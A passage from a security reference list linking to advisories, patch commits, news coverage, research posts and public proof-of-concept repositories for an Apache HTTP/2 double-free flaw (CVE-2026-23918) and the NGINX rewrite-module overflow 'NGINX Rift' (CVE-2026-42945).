[rhasan-com/CVE-2026-23918](https://github.com/rhasan-com/CVE-2026-23918) - SK쉴더스 EQST — [Apache HTTP Server HTTP/2 Double Free 취약점 (CVE-2026-23918)](https://www.skshieldus.com/security-insights/trends/apache-http-server-http2-double-free-vulnerability-cve-2026-23918) - The Hacker News — [Critical Apache HTTP/2 Flaw (CVE-2026-23918) Enables DoS and Potential RCE](https://thehackernews.com/2026/05/critical-apache-http2-flaw-cve-2026.html) - Hadrian — [Apache CVE-2026-23918 HTTP/2 Double-Free RCE Explained](https://hadrian.io/blog/cve-2026-23918-apache-http-server-double-free-rce-in-http-2-implementation) - Apache HTTP Server Project — [Apache HTTP Server 2.4 vulnerabilities](https://httpd.apache.org/security/vulnerabilities_24.html) - oss-sec — [Apache HTTP Server: http2: double free and possible RCE on early reset](https://seclists.org/oss-sec/2026/q2/387) ## Nginx CVE-2026-42945 (NGINX Rift) - 공식 패치 커밋 — [nginx/nginx@524977e — Rewrite: fixed escaping and possible buffer overrun](https://github.com/nginx/nginx/commit/524977e7c534e87e5b55739fa74601c9f1102686) - 공개 PoC (Docker) — [DepthFirstDisclosures/Nginx-Rift](https://github.com/DepthFirstDisclosures/Nginx-Rift) - SK쉴더스 EQST — [NGINX ngx_http_rewrite_module 힙 버퍼 오버플로우 취약점 (CVE-2026-42945)](https://www.skshieldus.com/security-insights/trends/nginx-rewrite-module-cve-2026-42945) - depthfirst — [NGINX Rift: Achieving NGINX RCE via an 18-Year-Old Vulnerability](https://depthfirst.com/research/nginx-rift-achieving-nginx-rce-via-an-18-year-old-vulnerability) - The Hacker News — [18-Year-Old NGINX Rewrite Module Flaw Enables Unauthenticated RCE](https://thehackernews.com/2026/05/18-year-old-nginx-rewrite-module-flaw.html) - F5 — [NGINX ngx_http_rewrite_module vulnerability CVE-2026-42945](https://my.f5.com/manage/s/article/K000161019) - AlmaLinux — [NGINX Rift (CVE-2026-42945) Patches Released](https://almalinux.org/blog/2026-05-13-nginx-rift-cve-2026-42945/) - [nginx.org](http://nginx.org) — [nginx security advisories](https://nginx.org/en/security_advisories.html)